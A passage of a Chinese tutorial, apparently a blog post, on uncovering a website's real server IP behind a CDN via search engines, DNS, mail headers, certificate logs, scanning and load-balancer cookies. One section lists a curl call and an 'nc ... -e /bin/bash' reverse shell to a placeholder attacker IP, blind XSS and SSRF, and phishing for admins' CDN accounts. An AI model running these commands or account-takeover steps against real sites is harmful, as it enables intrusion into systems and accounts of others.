IP\u3001\u7aef\u53e3\u3001\u7f51\u7ad9\u6807\u9898\u3001\u9875\u9762\u5185\u5bb9\u3001\u54cd\u5e94\u5934\u7279\u5f81\u7b49\u4fe1\u606f\uff0c\u82e5\u76ee\u6807\u7f51\u7ad9\u771f\u5b9e\u670d\u52a1\u5668\u5df2\u88ab\u6536\u5f55\uff0c\u53ef\u901a\u8fc7\u7279\u5f81\u5339\u914d\u627e\u5230\u771f\u5b9e IP\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u4e3b\u6d41\u641c\u7d22\u5f15\u64ce\u4f7f\u7528\u6307\u5357<\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u641c\u7d22\u5f15\u64ce<\/th><th>\u6838\u5fc3\u641c\u7d22\u8bed\u6cd5<\/th><th>\u5b9e\u6218\u793a\u4f8b<\/th><\/tr><\/thead><tbody><tr><td>Fofa<\/td><td>title:&#8221;\u7f51\u7ad9\u6807\u9898\u5173\u952e\u5b57&#8221;\u3001body:&#8221;\u9875\u9762\u7279\u5f81\u5b57\u7b26\u4e32&#8221;\u3001domain:&#8221;<a href=\"https:\/\/target.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">target.com<\/a>&#8220;<\/td><td>\u67e5\u627e\u67d0\u7535\u5546\u7f51\u7ad9\u771f\u5b9e IP\uff1a<code>title:\"XX\u7535\u5546 - \u6b63\u54c1\u4fdd\u969c\"<\/code>&nbsp;+&nbsp;<code>body:\"\u8d2d\u7269\u8f66\u7ed3\u7b97\"<\/code><\/td><\/tr><tr><td>Shodan<\/td><td>http.title:&#8221;\u7f51\u7ad9\u6807\u9898&#8221;\u3001http.html:&#8221;\u9875\u9762\u7279\u5f81&#8221;\u3001ssl:&#8221;<a href=\"https:\/\/target.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">target.com<\/a>&#8220;<\/td><td>\u67e5\u627e\u4f7f\u7528\u7279\u5b9a SSL \u8bc1\u4e66\u7684\u670d\u52a1\u5668\uff1a<code>ssl:\"target.com\"<\/code><\/td><\/tr><tr><td>Censys<\/td><td>80.http.get.headers.server:&#8221;\u670d\u52a1\u5668\u6807\u8bc6&#8221;\u3001443.https.tls.certificate.names:&#8221;<a href=\"https:\/\/target.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">target.com<\/a>&#8220;<\/td><td>\u67e5\u627e CloudFlare \u9632\u62a4\u7684\u7f51\u7ad9\u771f\u5b9e IP\uff1a<code>443.https.tls.certificate.names:\"target.com\" -server:cloudflare<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u5173\u952e\u6280\u5de7<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7279\u5f81\u63d0\u53d6\uff1a\u4ece\u76ee\u6807\u7f51\u7ad9\u63d0\u53d6\u552f\u4e00\u6807\u8bc6\uff0c\u5982\u9875\u9762\u5e95\u90e8\u7248\u6743\u4fe1\u606f\uff08\u201c\u00a92025 XX \u79d1\u6280\u201d\uff09\u3001\u7279\u6b8a\u6309\u94ae\u6587\u672c\uff08\u201c\u4e13\u5c5e\u5ba2\u670d\u5165\u53e3\u201d\uff09\u3001\u81ea\u5b9a\u4e49\u54cd\u5e94\u5934\uff08\u5982<code>X-Powered-By: XXFramework<\/code>\uff09\u3002<\/li>\n\n\n\n<li>\u6392\u9664\u5e72\u6270\uff1a\u641c\u7d22\u65f6\u6dfb\u52a0<code>-cdn:\"CDN\u5382\u5546\u540d\"<\/code>\uff08\u5982<code>-cdn:cloudflare<\/code>\uff09\uff0c\u6392\u9664\u8fb9\u7f18\u8282\u70b9\u4fe1\u606f\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u56db\uff09\u8de8\u5883\u89e3\u6790\u4e0e\u8bbf\u95ee\u6cd5\uff08\u9488\u5bf9\u56fd\u5185 CDN\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u56fd\u5185 CDN \u5382\u5546\uff08\u5982\u963f\u91cc\u4e91\u3001\u817e\u8baf\u4e91\u3001\u7f51\u5bbf\u79d1\u6280\uff09\u7684\u8fb9\u7f18\u8282\u70b9\u4e3b\u8981\u8986\u76d6\u56fd\u5185\u5730\u533a\uff0c\u9488\u5bf9\u56fd\u5916\u8bbf\u95ee\u7ebf\u8def\u53ef\u80fd\u672a\u505a CDN \u52a0\u901f\uff0c\u76f4\u63a5\u6307\u5411\u771f\u5b9e\u670d\u52a1\u5668\uff1b\u90e8\u5206\u56fd\u5916 CDN \u5382\u5546\u540c\u7406\uff0c\u56fd\u5185\u7ebf\u8def\u53ef\u80fd\u7ed5\u8fc7 CDN\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u64cd\u4f5c\u65b9\u6cd5<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u56fd\u5916 DNS \u89e3\u6790\uff1a\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528\u56fd\u5916\u516c\u5171 DNS \u670d\u52a1\u5668\u89e3\u6790\u57df\u540d\uff0c\u5982\u8c37\u6b4c DNS\uff088.8.8.8\u30018.8.4.4\uff09\u3001CloudFlare DNS\uff081.1.1.1\uff09\u3002<\/li>\n\n\n\n<li>\u547d\u4ee4\u884c\u793a\u4f8b\uff1a<code>nslookup target.com 8.8.8.8<\/code>\uff08Windows\uff09\u3001<code>dig @8.8.8.8 target.com<\/code>\uff08Linux\/Mac\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u56fd\u5916\u591a\u5730 Ping \u6d4b\u8bd5\uff1a\n<ul class=\"wp-block-list\">\n<li>\u5de5\u5177\uff1aasm.ca\uff08<a href=\"https:\/\/asm.ca.com\/zh_cn\/ping.php\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/asm.ca.com\/zh_cn\/ping.php<\/a>\uff09\u3001WebPageTest\uff08<a href=\"http:\/\/www.webpagetest.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/www.webpagetest.org\/<\/a>\uff09\u3001Pingdom\uff08<a href=\"https:\/\/dnscheck.pingdom.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/dnscheck.pingdom.com\/<\/a>\uff09\u3002<\/li>\n\n\n\n<li>\u64cd\u4f5c\uff1a\u9009\u62e9\u7f8e\u56fd\u3001\u6b27\u6d32\u3001\u4e1c\u5357\u4e9a\u7b49\u5730\u533a\u7684\u8282\u70b9 Ping \u76ee\u6807\u57df\u540d\uff0c\u8bb0\u5f55\u8fd4\u56de\u7684 IP\uff0c\u4e0e\u56fd\u5185 Ping \u7ed3\u679c\u5bf9\u6bd4\uff0c\u5dee\u5f02 IP \u53ef\u80fd\u4e3a\u771f\u5b9e IP\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u8de8\u5883\u4ee3\u7406\u8bbf\u95ee\u9a8c\u8bc1\uff1a\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528\u56fd\u5916\u4ee3\u7406\u670d\u52a1\u5668\u8bbf\u95ee<code>http:\/\/[\u8de8\u5883\u89e3\u6790IP]<\/code>\uff0c\u82e5\u80fd\u6b63\u5e38\u6253\u5f00\u76ee\u6807\u7f51\u7ad9\uff0c\u5373\u53ef\u786e\u8ba4\u8be5 IP \u4e3a\u771f\u5b9e IP\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e94\uff09\u90ae\u4ef6\u5934\u4fe1\u606f\u5206\u6790\u6cd5\uff08\u88ab\u52a8\u53d6\u8bc1\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u7f51\u7ad9\u7684\u90ae\u7bb1\u6ce8\u518c\u3001\u5bc6\u7801\u627e\u56de\u3001RSS \u8ba2\u9605\u7b49\u529f\u80fd\u4f1a\u5411\u7528\u6237\u53d1\u9001\u90ae\u4ef6\uff0c\u90ae\u4ef6\u5934\u4e2d\u4f1a\u8bb0\u5f55\u53d1\u9001\u90ae\u4ef6\u7684\u670d\u52a1\u5668 IP\uff08\u5373\u7f51\u7ad9\u771f\u5b9e\u670d\u52a1\u5668 IP \u6216\u90ae\u4ef6\u670d\u52a1\u5668 IP\uff0c\u901a\u5e38\u4e0e web \u670d\u52a1\u5668 IP \u5f52\u5c5e\u540c\u4e00\u7f51\u6bb5\uff09\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u64cd\u4f5c\u6b65\u9aa4<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u89e6\u53d1\u90ae\u4ef6\u53d1\u9001\uff1a\n<ul class=\"wp-block-list\">\n<li>\u8bbf\u95ee\u76ee\u6807\u7f51\u7ad9\uff0c\u4f7f\u7528\u81ea\u5df1\u7684\u90ae\u7bb1\u6ce8\u518c\u8d26\u53f7\u3001\u7533\u8bf7\u5bc6\u7801\u627e\u56de\uff0c\u6216\u8ba2\u9605\u7f51\u7ad9 RSS \u63a8\u9001\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u67e5\u770b\u90ae\u4ef6\u5934\uff1a\n<ul class=\"wp-block-list\">\n<li>\u4e3b\u6d41\u90ae\u7bb1\u67e5\u770b\u65b9\u6cd5\uff1a\n<ul class=\"wp-block-list\">\n<li>Gmail\uff1a\u6253\u5f00\u90ae\u4ef6\u2192\u53f3\u4e0a\u89d2 \u201c\u66f4\u591a\u9009\u9879\u201d\u2192\u201c\u663e\u793a\u539f\u59cb\u90ae\u4ef6\u201d\u3002<\/li>\n\n\n\n<li>\u7f51\u6613\u90ae\u7bb1\uff1a\u6253\u5f00\u90ae\u4ef6\u2192\u201c\u66f4\u591a\u201d\u2192\u201c\u67e5\u770b\u90ae\u4ef6\u539f\u6587\u201d\u3002<\/li>\n\n\n\n<li>QQ \u90ae\u7bb1\uff1a\u6253\u5f00\u90ae\u4ef6\u2192\u201c\u66f4\u591a\u201d\u2192\u201c\u67e5\u770b\u539f\u59cb\u90ae\u4ef6\u201d\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u63d0\u53d6\u771f\u5b9e IP\uff1a\n<ul class=\"wp-block-list\">\n<li>\u90ae\u4ef6\u5934\u4e2d\u5173\u952e\u5b57\u6bb5\uff1a<code>Received<\/code>\uff08\u8bb0\u5f55\u90ae\u4ef6\u4f20\u8f93\u8def\u5f84\uff0c\u6700\u540e\u4e00\u4e2a\u975e CDN \/ \u90ae\u7bb1\u670d\u52a1\u5546 IP \u5373\u4e3a\u7f51\u7ad9 IP\uff09\u3001<code>X-Origin-IP<\/code>\uff08\u90e8\u5206\u90ae\u4ef6\u670d\u52a1\u5668\u4f1a\u76f4\u63a5\u66b4\u9732\u53d1\u9001\u65b9 IP\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">\u793a\u4f8b\u89e3\u6790<\/h4>\n\n\n\n<p>\u90ae\u4ef6\u5934\u7247\u6bb5\uff1a<code>Received: from mail.target.com (203.0.113.10 [203.0.113.10]) by smtp.163.com<\/code>\uff0c\u5176\u4e2d<code>203.0.113.10<\/code>\u5373\u4e3a\u7f51\u7ad9\u90ae\u4ef6\u670d\u52a1\u5668 IP\uff0c\u5927\u6982\u7387\u4e0e web \u771f\u5b9e IP \u5728\u540c\u4e00\u7f51\u6bb5\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u516d\uff09SSL\/TLS \u8bc1\u4e66\u6eaf\u6e90\u6cd5\uff08\u7cbe\u51c6\u5ea6\u9ad8\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u6839\u636e CA\/Browser Forum \u6807\u51c6\uff0c\u6240\u6709 SSL\/TLS \u8bc1\u4e66\u5fc5\u987b\u53d1\u5e03\u5230\u516c\u5171\u65e5\u5fd7\u4e2d\uff0c\u8bc1\u4e66\u4e2d\u4f1a\u5305\u542b\u57df\u540d\u3001\u5b50\u57df\u540d\u3001\u670d\u52a1\u5668 IP \u7b49\u4fe1\u606f\u3002CDN \u8fb9\u7f18\u8282\u70b9\u7684\u8bc1\u4e66\u901a\u5e38\u4ec5\u5305\u542b CDN \u5382\u5546\u57df\u540d\uff0c\u800c\u771f\u5b9e\u670d\u52a1\u5668\u7684\u8bc1\u4e66\u4f1a\u5305\u542b\u76ee\u6807\u7f51\u7ad9\u57df\u540d\uff0c\u901a\u8fc7\u8bc1\u4e66\u641c\u7d22\u53ef\u5b9a\u4f4d\u771f\u5b9e IP\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u6838\u5fc3\u5de5\u5177\u4e0e\u64cd\u4f5c<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Censys\uff08<a href=\"https:\/\/censys.io\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/censys.io\/<\/a>\uff09\uff1a\n<ul class=\"wp-block-list\">\n<li>\u641c\u7d22\u8bed\u6cd5\uff1a<code>443.https.tls.certificate.names:\"target.com\"<\/code>\uff0c\u83b7\u53d6\u6240\u6709\u7ed1\u5b9a\u8be5\u57df\u540d\u7684 SSL \u8bc1\u4e66\u5bf9\u5e94\u7684 IP\u3002<\/li>\n\n\n\n<li>\u7b5b\u9009\u6761\u4ef6\uff1a\u6392\u9664<code>server:cloudflare<\/code>\u3001<code>server:aliyun<\/code>\u7b49 CDN \u5382\u5546\u6807\u8bc6\u7684 IP\uff0c\u4fdd\u7559\u72ec\u7acb IP\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>CRT.sh\uff08<a href=\"https:\/\/crt.sh\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/crt.sh\/<\/a>\uff09\uff1a\n<ul class=\"wp-block-list\">\n<li>\u8f93\u5165\u76ee\u6807\u57df\u540d\uff0c\u67e5\u770b\u6240\u6709\u5df2\u5907\u6848\u7684 SSL \u8bc1\u4e66\uff0c\u70b9\u51fb\u8bc1\u4e66\u8be6\u60c5\u53ef\u67e5\u770b\u5173\u8054\u7684 IP \u5730\u5740\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u8bc1\u4e66\u6307\u7eb9\u5339\u914d\uff1a\n<ul class=\"wp-block-list\">\n<li>\u63d0\u53d6\u76ee\u6807\u7f51\u7ad9\u4e3b\u57df\u540d\u7684 SSL \u8bc1\u4e66\u6307\u7eb9\uff08SHA-256\uff09\uff0c\u5728 Shodan \u4e2d\u641c\u7d22<code>ssl.fingerprint:\"\u6307\u7eb9\u503c\"<\/code>\uff0c\u627e\u5230\u4f7f\u7528\u8be5\u8bc1\u4e66\u7684\u670d\u52a1\u5668 IP\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">\u9a8c\u8bc1\u65b9\u6cd5<\/h4>\n\n\n\n<p>\u5c06\u641c\u7d22\u5230\u7684 IP \u4ee3\u5165<code>https:\/\/[IP]<\/code>\u8bbf\u95ee\uff0c\u82e5\u6d4f\u89c8\u5668\u63d0\u793a \u201c\u8bc1\u4e66\u57df\u540d\u4e0d\u5339\u914d\u201d \u4f46\u9875\u9762\u5185\u5bb9\u4e0e\u76ee\u6807\u7f51\u7ad9\u4e00\u81f4\uff0c\u8be5 IP \u5373\u4e3a\u771f\u5b9e\u670d\u52a1\u5668 IP\uff08\u9700\u7ed1\u5b9a\u57df\u540d\u624d\u80fd\u6b63\u5e38\u663e\u793a\u8bc1\u4e66\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e03\uff09\u6f0f\u6d1e\u5229\u7528\u4e0e\u4fe1\u606f\u6cc4\u9732\u6cd5\uff08\u8fdb\u9636\u6280\u5de7\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">1. \u654f\u611f\u6587\u4ef6\u6cc4\u9732\u6316\u6398<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u76ee\u6807\u6587\u4ef6\uff1a<code>phpinfo.php<\/code>\uff08PHP \u63a2\u9488\uff0c\u4f1a\u663e\u793a\u670d\u52a1\u5668 IP\u3001\u7cfb\u7edf\u4fe1\u606f\uff09\u3001<code>info.php<\/code>\u3001<code>server-status<\/code>\uff08Apache \u72b6\u6001\u9875\uff09\u3001<code>nginx-status<\/code>\uff08Nginx \u72b6\u6001\u9875\uff09\u3002<\/li>\n\n\n\n<li>\u641c\u7d22\u65b9\u6cd5\uff1a\u8c37\u6b4c\u8bed\u6cd5<code>inurl:phpinfo.php site:target.com<\/code>\u3001<code>inurl:server-status site:target.com<\/code>\uff1b\u4f7f\u7528 Dirsearch\u3001DirBuster \u7b49\u5de5\u5177\u626b\u63cf\u7f51\u7ad9\u76ee\u5f55\u3002<\/li>\n\n\n\n<li>\u5b9e\u6218\u4ef7\u503c\uff1a\u82e5\u627e\u5230<code>phpinfo.php<\/code>\uff0c\u53ef\u76f4\u63a5\u5728\u9875\u9762\u4e2d\u67e5\u770b<code>SERVER_ADDR<\/code>\u5b57\u6bb5\uff0c\u5373\u4e3a\u771f\u5b9e\u670d\u52a1\u5668 IP\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">2. \u4ee3\u7801\u4ed3\u5e93\u4fe1\u606f\u6cc4\u9732<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u539f\u7406\uff1a\u7f51\u7ad9\u5f00\u53d1\u8005\u53ef\u80fd\u8bef\u5c06\u5305\u542b\u670d\u52a1\u5668\u914d\u7f6e\u3001\u771f\u5b9e IP \u7684\u4ee3\u7801\uff08\u5982<code>config.php<\/code>\u3001<code>deploy.sh<\/code>\uff09\u4e0a\u4f20\u81f3 GitHub\u3001Gitee \u7b49\u4ee3\u7801\u4ed3\u5e93\u3002<\/li>\n\n\n\n<li>\u641c\u7d22\u8bed\u6cd5\uff1a\n<ul class=\"wp-block-list\">\n<li>GitHub\uff1a<code>repo:username\/* target.com<\/code>\u3001<code>filename:config.php target.com<\/code>\u3002<\/li>\n\n\n\n<li>Gitee\uff1a<code>search=target.com+config&amp;type=code<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5173\u952e\u4fe1\u606f\uff1a\u4ee3\u7801\u4e2d\u7684<code>DB_HOST<\/code>\uff08\u6570\u636e\u5e93 IP\uff0c\u901a\u5e38\u4e0e web \u670d\u52a1\u5668 IP \u4e00\u81f4\uff09\u3001<code>SERVER_IP<\/code>\u7b49\u914d\u7f6e\u9879\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">3. \u6f0f\u6d1e\u5229\u7528\u83b7\u53d6 IP<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>XSS \u76f2\u6253\uff1a\u5728\u7f51\u7ad9\u7559\u8a00\u677f\u3001\u8bc4\u8bba\u533a\u7b49\u4f4d\u7f6e\u63d2\u5165 XSS payload\uff0c\u82e5\u670d\u52a1\u5668\u5b58\u5728 XSS \u6f0f\u6d1e\uff0c\u4f1a\u89e6\u53d1 payload \u5e76\u5411\u653b\u51fb\u8005\u670d\u52a1\u5668\u53d1\u9001\u8bf7\u6c42\uff0c\u8bf7\u6c42\u5934\u4e2d\u5305\u542b\u771f\u5b9e IP\u3002<\/li>\n\n\n\n<li>SSRF \u6f0f\u6d1e\uff1a\u5229\u7528\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\u6f0f\u6d1e\uff0c\u8ba9\u670d\u52a1\u5668\u8bbf\u95ee\u653b\u51fb\u8005\u63a7\u5236\u7684 HTTP \u670d\u52a1\uff0c\u901a\u8fc7\u65e5\u5fd7\u83b7\u53d6\u670d\u52a1\u5668\u771f\u5b9e IP\u3002<\/li>\n\n\n\n<li>\u547d\u4ee4\u6267\u884c \/ \u53cd\u5f39 Shell\uff1a\u82e5\u7f51\u7ad9\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u6267\u884c<code>curl http:\/\/\u653b\u51fb\u8005IP\/ip<\/code>\u6216<code>nc \u653b\u51fb\u8005IP \u7aef\u53e3 -e \/bin\/bash<\/code>\uff0c\u901a\u8fc7\u653b\u51fb\u8005\u670d\u52a1\u5668\u65e5\u5fd7\u83b7\u53d6\u771f\u5b9e IP\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">4. CDN \u8d26\u53f7\u6e17\u900f<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u601d\u8def\uff1a\u901a\u8fc7\u793e\u5de5\u5e93\u67e5\u8be2\u3001\u9493\u9c7c\u653b\u51fb\u7b49\u65b9\u5f0f\u83b7\u53d6\u7f51\u7ad9\u7ba1\u7406\u5458\u7684 CDN \u8d26\u53f7\uff08\u5982 CloudFlare\u3001\u963f\u91cc\u4e91 CDN \u8d26\u53f7\uff09\uff0c\u767b\u5f55\u540e\u5728 \u201c\u6e90\u7ad9\u914d\u7f6e\u201d \u4e2d\u67e5\u770b\u771f\u5b9e\u670d\u52a1\u5668 IP\u3002<\/li>\n\n\n\n<li>\u6ce8\u610f\u4e8b\u9879\uff1a\u8be5\u65b9\u6cd5\u9700\u9075\u5b88\u6cd5\u5f8b\u89c4\u5b9a\uff0c\u4ec5\u9002\u7528\u4e8e\u5408\u6cd5\u53d6\u8bc1\u573a\u666f\uff0c\u4e25\u7981\u672a\u6388\u6743\u8bbf\u95ee\u4ed6\u4eba\u8d26\u53f7\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u516b\uff09\u5168\u7f51\u626b\u63cf\u4e0e\u7279\u5f81\u5339\u914d\u6cd5\uff08\u5927\u89c4\u6a21\u573a\u666f\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u4f7f\u7528\u9ad8\u901f\u7aef\u53e3\u626b\u63cf\u5de5\u5177\u5bf9\u5168\u7f51 IP \u8fdb\u884c\u626b\u63cf\uff0c\u7b5b\u9009\u51fa\u5f00\u653e 80\/443 \u7aef\u53e3\u7684\u670d\u52a1\u5668\uff0c\u518d\u901a\u8fc7\u9875\u9762\u7279\u5f81\u5339\u914d\u627e\u5230\u76ee\u6807\u7f51\u7ad9\u7684\u771f\u5b9e IP\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5de5\u5177\u4e0e\u64cd\u4f5c<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u626b\u63cf\u5de5\u5177\uff1a\n<ul class=\"wp-block-list\">\n<li>Zmap\uff08<a href=\"https:\/\/github.com\/zmap\/zmap\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/zmap\/zmap<\/a>\uff09\uff1a\u9ad8\u901f TCP \u626b\u63cf\u5de5\u5177\uff0c\u53ef\u5728\u51e0\u5c0f\u65f6\u5185\u626b\u63cf\u5168\u7f51 IPv4 \u5730\u5740\u3002<\/li>\n\n\n\n<li>Masscan\uff08<a href=\"https:\/\/github.com\/robertdavidgraham\/masscan\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/robertdavidgraham\/masscan<\/a>\uff09\uff1a\u66f4\u5feb\u7684\u7aef\u53e3\u626b\u63cf\u5de5\u5177\uff0c\u652f\u6301\u81ea\u5b9a\u4e49\u626b\u63cf\u901f\u7387\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u626b\u63cf\u547d\u4ee4\u793a\u4f8b\uff1a\n<ul class=\"wp-block-list\">\n<li>Zmap \u626b\u63cf 80 \u7aef\u53e3\uff1a<code>zmap -p 80 -o scan_result.txt<\/code>\uff08\u5bfc\u51fa\u5f00\u653e 80 \u7aef\u53e3\u7684 IP \u5217\u8868\uff09\u3002<\/li>\n\n\n\n<li>Masscan \u626b\u63cf 443 \u7aef\u53e3\uff1a<code>masscan -p 443 0.0.0.0\/0 --rate=100000 -oG scan_443.txt<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u7279\u5f81\u5339\u914d\uff1a\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528 Python \u811a\u672c\u904d\u5386\u626b\u63cf\u7ed3\u679c\uff0c\u5411\u6bcf\u4e2a IP \u53d1\u9001 HTTP \u8bf7\u6c42\uff0c\u83b7\u53d6\u9875\u9762\u6807\u9898\u3001\u54cd\u5e94\u5934\u3001\u9875\u9762\u5185\u5bb9\u3002<\/li>\n\n\n\n<li>\u4e0e\u76ee\u6807\u7f51\u7ad9\u7684\u7279\u5f81\uff08\u5982\u6807\u9898\u3001\u7248\u6743\u4fe1\u606f\u3001\u7279\u6b8a\u5b57\u7b26\u4e32\uff09\u8fdb\u884c\u6bd4\u5bf9\uff0c\u5339\u914d\u6210\u529f\u7684 IP \u5373\u4e3a\u771f\u5b9e IP\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">\u4f18\u5316\u5efa\u8bae<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7f29\u5c0f\u626b\u63cf\u8303\u56f4\uff1a\u6839\u636e\u76ee\u6807\u7f51\u7ad9\u7684\u5907\u6848\u4fe1\u606f\u3001\u8fd0\u8425\u4e3b\u4f53\u6240\u5728\u5730\u533a\uff0c\u7b5b\u9009\u5bf9\u5e94 IP \u6bb5\u8fdb\u884c\u626b\u63cf\uff08\u5982\u56fd\u5185 IP \u6bb5\uff1a1.0.0.0\/8 \u81f3 223.255.255.255\/24\uff09\uff0c\u964d\u4f4e\u626b\u63cf\u6210\u672c\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u4e5d\uff09\u8d1f\u8f7d\u5747\u8861\u8bbe\u5907\u89e3\u6790\u6cd5\uff08\u9488\u5bf9\u7279\u5b9a\u573a\u666f\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">1. F5 LTM \u8d1f\u8f7d\u5747\u8861\u89e3\u7801<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u539f\u7406\uff1a\u4f7f\u7528 F5 LTM \u505a\u8d1f\u8f7d\u5747\u8861\u7684\u670d\u52a1\u5668\uff0c\u4f1a\u5728 HTTP \u54cd\u5e94\u5934\u7684<code>Set-Cookie<\/code>\u5b57\u6bb5\u4e2d\u5305\u542b\u771f\u5b9e IP \u7684\u7f16\u7801\u4fe1\u606f\uff0c\u89e3\u7801\u540e\u53ef\u83b7\u53d6\u771f\u5b9e IP\u3002<\/li>\n\n\n\n<li>\u89e3\u7801\u6b65\u9aa4\uff1a\u793a\u4f8b Cookie\uff1a<code>Set-Cookie: BIGipServerpool_9.29_5229=605532106.22012.0000<\/code>\n<ol class=\"wp-block-list\">\n<li>\u63d0\u53d6\u7b2c\u4e00\u90e8\u5206\u5341\u8fdb\u5236\u6570\uff1a605532106\u3002<\/li>\n\n\n\n<li>\u8f6c\u6362\u4e3a\u5341\u516d\u8fdb\u5236\uff1a605532106 \u2192 2417afca\uff08\u53ef\u7528\u8ba1\u7b97\u5668\u6216 Python \u811a\u672c\u8f6c\u6362\uff09\u3002<\/li>\n\n\n\n<li>\u5341\u516d\u8fdb\u5236\u6570\u53cd\u5411\u62c6\u5206\uff1aca af 17 24\uff08\u4ece\u540e\u81f3\u524d\u6bcf\u4e24\u4f4d\u62c6\u5206\uff09\u3002<\/li>\n\n\n\n<li>\u8f6c\u6362\u4e3a\u5341\u8fdb\u5236\uff1aca=202\u3001af=175\u300117=23\u300124=36\uff0c\u6700\u7ec8\u771f\u5b9e IP \u4e3a 202.175.23.36\u3002<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">2. Nginx \u8d1f\u8f7d\u5747\u8861\u7279\u5f81<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u539f\u7406\uff1a\u90e8\u5206 Nginx \u8d1f\u8f7d\u5747\u8861\u914d\u7f6e\u4f1a\u5728\u54cd\u5e94\u5934\u4e2d\u6dfb\u52a0<code>X-Real-IP<\/code>\u6216<code>X-Forwarded-For<\/code>\u5b57\u6bb5\uff0c\u76f4\u63a5\u66b4\u9732\u771f\u5b9e\u670d\u52a1\u5668 IP\u3002<\/li>\n\n\n\n<li>\u64cd\u4f5c\uff1a\u901a\u8fc7 curl \u547d\u4ee4\u6216\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177\u67e5\u770b\u54cd\u5e94\u5934\uff0c\u82e5\u5b58\u5728\u4e0a\u8ff0\u5b57\u6bb5\uff0c\u5b57\u6bb5\u503c\u5373\u4e3a\u771f\u5b9e IP\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\uff08\u5341\uff09HTTP \u6807\u5934\u4e0e\u670d\u52a1\u5668\u6307\u7eb9\u5206\u6790\u6cd5\uff08\u8865\u5145\u6280\u5de7\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u539f\u7406<\/h4>\n\n\n\n<p>\u4e0d\u540c\u670d\u52a1\u5668\uff08\u5982 Apache\u3001Nginx\u3001IIS\uff09\u7684 HTTP \u54cd\u5e94\u5934\u5b58\u5728\u72ec\u7279\u6307\u7eb9\uff0cCDN \u8fb9\u7f18\u8282\u70b9\u7684\u54cd\u5e94\u5934\u901a\u5e38\u5e26\u6709 CDN 